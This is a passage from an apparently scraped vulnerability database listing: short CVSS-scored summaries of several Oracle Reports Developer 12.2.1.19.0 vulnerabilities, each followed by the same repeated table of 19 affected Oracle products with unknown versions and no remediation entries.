vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows low-privileged attackers with HTTP network access to potentially compromise confidentiality, integrity, and availability, with a CVSS score of 8.5.
8.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated attackers with SMTP network access to perform unauthorized data modifications and cause partial denial of service, affecting product integrity and availability.
7.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated remote attackers to fully compromise the system via UDP, with a CVSS 3.1 base score of 9.8.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated remote attackers to gain unauthorized access and modify data, with a CVSS 3.1 base score of 9.3.
9.3 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated remote attackers to potentially compromise system confidentiality, integrity, and availability via HTTP, with a CVSS 3.1 score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated remote attackers to access sensitive data, with a CVSS 3.1 base score of 8.6, affecting multiple Oracle products.
8.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 with a CVSS 3.1 base score of 9.8 allows full system compromise affecting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 via IIOP has a CVSS 3.1 score of 9.8, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated attackers with network access to fully compromise the product, rated with a CVSS 3.1 base score of 8.8 for high impact on confidentiality, integrity, and availability.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 via IIOP has a CVSS 3.1 score of 9.8, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 enables unauthenticated remote attackers to gain unauthorized access, modify data, or cause partial denial of service via SOAP, with a CVSS 3.1 base score of 8.6.
8.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Reports Developer 12.2.1.19.0 allows a low-privileged attacker with HTTP network access to gain unauthorized access and modify critical data, with a CVSS 3.1 base score of 7.1.
7.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated network attackers to gain unauthorized access to sensitive data, with a CVSS 3.1 base score of 8.6, potentially affecting additional Oracle products.
8.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
